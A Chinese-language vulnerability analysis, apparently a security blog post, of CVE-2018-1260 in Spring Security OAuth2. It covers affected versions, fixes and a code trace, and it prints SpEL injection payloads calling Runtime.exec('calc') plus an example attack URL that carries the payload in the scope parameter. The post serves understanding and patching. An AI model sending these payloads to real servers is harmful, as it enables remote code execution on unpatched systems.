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[CVE-2018-1260]Spring Security OAuth2远程代码执行漏洞分析

2018-05-14 分类：漏洞分析 阅读(3206) 评论(0)

Author: Gyyyy

漏洞编号

CVE-2018-1260

漏洞信息

漏洞等级

严重

漏洞描述

在Spring Security OAuth 2.x老的版本中，恶意用户可以向授权服务器发起授权请求，当转发至授权审批终端（Approval Endpoint）时，会导致远程代码执行漏洞的攻击。

攻击发生需要满足的条件：

  1. 被攻击端作为授权服务器时（如使用了@EnableAuthorizationServer注解）
  2. 使用了默认审批终端，或重写的审批终端逻辑中使用SpelExpressionParser等对输出内容进行SPEL表达式解析
  3. 未配置Scopes

受影响版本

  1. Spring Security OAuth 2.3到2.3.2
  2. Spring Security OAuth 2.2到2.2.1
  3. Spring Security OAuth 2.1到2.1.1
  4. Spring Security OAuth 2.0到2.0.14
  5. 已经停止支持的老版本

修复建议

  1. Spring Security OAuth 2.3.x升级到2.3.3
  2. Spring Security OAuth 2.2.x升级到2.2.2
  3. Spring Security OAuth 2.1.x升级到2.1.2
  4. Spring Security OAuth 2.0.x升级到2.0.15
  5. 其他或更早期版本升级到相关支持的分支版本

漏洞分析

补丁对比

通过对漏洞描述的理解，我们可以猜测漏洞触发点应该在Approval Endpoint附近。

对比修复前后两个版本：

spring-security-oauth2-patch.png

分析其中的提交信息和有变更的文件名，可以很快定位到漏洞相关信息的Commit。

修改代码比较多，就不贴图了。核心的修改内容是在WhitelabelApprovalEndpoint中使用直接生成HTML字符串（调用了HtmlUtils.htmlEscape()对用户可控的输出值进行URL编码）代替了原来使用SpelView解析模板的方式，并且彻底删除了SpelView。

“Endpoint”、“SpelView”这些关键字，有没有让你想起Spring Security OAuth以前的一个RCE？没错，就是CVE-2016-4977。不太了解的同学可以去回顾回顾

同时，官方也在修复版本中增加了一个对这个漏洞的测试用例，贴心的把控制点和PoC都告诉我们了。

赶紧搭个环境看看。

环境搭建

结合补丁对比分析得到的结论，我们可以搭建两种环境帮助对漏洞的理解和分析：

  1. spring-security-oauth源码调试环境
    • 需要对Spring Security和Spring Security OAuth框架有一定的了解（原理和执行流程）
  2. spring-security-oauth示例项目环境

本文使用第一种：

  • IDE：IDEA
  • JDK：1.8
  • Project：spring-security-oauth-2.2.1.RELEASE

在WhitelabelErrorEndpointTests的测试集中增加2.2.2.RELEASE新增的测试用例，关键代码如下：

    parameters.put("client_id", "client");
    HashMap<String, Object> model = new HashMap<String, Object>();
    model.put("authorizationRequest", createFromParameters(parameters));
    model.put("scopes", Collections.singletonMap("${T(java.lang.Runtime).getRuntime().exec(\"calc\")}", "true"));
    ModelAndView result = endpoint.getAccessConfirmation(model, request);
    result.getView().render(result.getModel(), request , response);

流程跟踪

调用WhitelabelErrorEndpoint.getAccessConfirmation()，传入携带scopes键值对（我们的PoC在里面）的model。createTemplate()在创建页面模板时，会判断是否存在scopes，是则调用createScopes()将其值转换为HTML字符串，并替换模板中的%scopes%关键字。

在返回ModelAndView前，用模板字符串创建了一个SpelView：

    public SpelView(String template) {
        this.template = template;
        this.prefix = new RandomValueStringGenerator().generate() + "{";
        this.context.addPropertyAccessor(new MapAccessor());
        this.resolver = new PlaceholderResolver() {
            public String resolvePlaceholder(String name) {
                Expression expression = parser.parseExpression(name);
                Object value = expression.getValue(context);
                return value == null ? null : value.toString();
            }
        };
    }

resolver实现了PlaceholderResolver.resolvePlaceholder()，在其中对传入的参数进行SPEL表达式解析。

回到测试用例，调用SpelView.render()对传入的model进行渲染，渲染什么？其实就是递归查找模板字符串中所有的SPEL表达式，并调用PlaceholderResolver.resolvePlaceholder()解析得到它的值。

好的，重点来了。

当解析到我们传入的T(java.lang.Runtime).getRuntime().exec("calc")时，计算器自然也就弹出来了。

一些你可能不太感兴趣的小细节

关于CVE-2016-4977的补丁

为什么CVE-2016-4977的补丁对这个漏洞没有效果？

我们先回顾一下CVE-2016-4977的大致细节。

为了修复CVE-2016-4977，Spring Security OAuth在2.0.10.RELEASE及之后版本的SpelView中，将模板字符串内所有的${}替换成了[6位随机字符串]{}（详见CVE-2016-4977补丁），并将其作为SPEL表达式标识符，提取其包裹的字符串（CVE-2016-4977中是errorSummary）进行解析。

当递归解析到内部${}字符串（即恶意用户传入的PoC部分）时，由于此时用于识别SPEL表达式的标识符已经不是${}了，且6位字符串的随机性也使得用户无法猜测其当前值，所以恶意用户传入的数据无法再被当成SPEL表达式来执行。

也可以这么说，CVE-2016-4977的补丁主要用于防止SpelView中任何递归形式的表达式的解析被恶意利用。

而在这个漏洞中，PoC内容被直接拼接进模板字符串中被解析，所以不受6位随机字符串的影响。

Spring官方一气之下，把SpelView给删了。

一个被连续执行三次的RCE

由于每个Scope会被解析成一个包含两个成组的radioHTML元素，所以在解析之前，模板字符串是长成这样的：

    <html>
        <body>
            <h1>OAuth Approval</h1>Do you authorize 'xJPRnj{authorizationRequest.clientId}' to access your protected resources?

<form id='confirmationForm' name='confirmationForm' action='xJPRnj{path}/oauth/authorize' method='post'>
                <input name='user_oauth_approval' value='true' type='hidden'/>

<ul>
                    <li>
                        <div class='form-group'>
                            xJPRnj{T(java.lang.Runtime).getRuntime().exec("calc")}:
                            <input type='radio' name='xJPRnj{T(java.lang.Runtime).getRuntime().exec("calc")}' value='true' checked>Approve</input>
                            <input type='radio' name='xJPRnj{T(java.lang.Runtime).getRuntime().exec("calc")}' value='false'>Deny</input>
                        </div>

</li>
                </ul>

<label><input name='authorize' value='Authorize' type='submit'/></label>
            </form>
        </body>
    </html>

看到了什么？是的，两个radio的name属性值也变成了我们的PoC，所以在运行完测试用例之后，会弹出三个计算器。

另外，Scopes是一个集合，因此理论上我们也可以一次传入多个SPEL表达式：

    HashMap<String, Object> scopes = new HashMap<String, Object>();
    scopes.put("${T(java.lang.Runtime).getRuntime().exec(\"calc\")}", "true");
    scopes.put("${T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}", "false");
    model.put("scopes", scopes);

这次是六个计算器。

Web应用环境中的Scopes值

分析到这里，对于不太了解Spring Security OAuth的同学，会有一个疑问，这个漏洞到底怎么利用？

虽然WhitelabelApprovalEndpoint.getAccessConfirmation()配置了@RequestMapping()注解，可以访问/oauth/confirm_access直接进入该方法，但方法中判断并获取scopes是通过model.get()或request.getAttribute()，无法通过URL的请求参数对其传参赋值。

简单介绍一下其相关流程。

  1. 当客户端向授权服务器发起授权请求时（/oauth/authorize），会将请求参数中scope的值转换为Set集合封装进AuthorizationRequest中，校验应用配置的Scopes是否为空或所有Scope都有效
  2. 授权服务器内部重定向请求至/oauth/confirm_access，之后的事就不用再多说了吧

因此可以这样请求：

http://domain.com/oauth/authorize?client_id=[client]&response_type=[type]&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc%22%29%7D&redirect_uri=[uri]

需要注意的是，/oauth/authorize和/oauth/confirm_access默认都有认证保护

参考

  1. https://pivotal.io/security/cve-2018-1260
  2. https://pivotal.io/security/cve-2016-4977
  3. http://secalert.net/#CVE-2016-4977
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标签：spring

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